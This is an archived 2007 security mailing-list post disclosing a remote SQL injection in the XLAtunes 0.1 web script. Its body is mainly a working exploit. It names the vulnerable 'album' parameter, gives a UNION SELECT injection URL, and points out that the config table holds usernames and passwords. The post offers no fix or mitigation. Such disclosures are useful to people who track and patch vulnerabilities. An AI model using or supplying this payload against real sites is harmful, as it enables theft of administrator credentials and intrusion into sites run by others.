XLAtunes 0.1 (album) Remote SQL Injection Vulnerability

[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

Subject: XLAtunes 0.1 (album) Remote SQL Injection Vulnerability
From: Guns@xxxxxxxxxxx
Date: 19 Feb 2007 19:27:31 -0000

#Critical Status:High
#Found By: 0x90 #Download:http://www.scriptdungeon.com/script.php?ScriptID=2844
#Greetz:all my friends
#confkey->Password
#confvalue->Username
#Table:config
#http://host.com/path/?mode=view&album=-1%20UNION%20SELECT%20confkey%20FROM%20config/*

Follow-Ups:
- Re: XLAtunes 0.1 (album) Remote SQL Injection Vulnerability
  - From: str0ke

Prev by Date: Jboss vulnerability
Next by Date: NukeSentinel 2.5.05 (nukesentinel.php) File Disclosure Exploit
Previous by thread: Jboss vulnerability
Next by thread: Re: XLAtunes 0.1 (album) Remote SQL Injection Vulnerability
Index(es):
- Date
- Thread

[Index of Archives] [Linux Security] [Netfilter] [PHP] [Yosemite News] [Linux Kernel]

Powered by Linux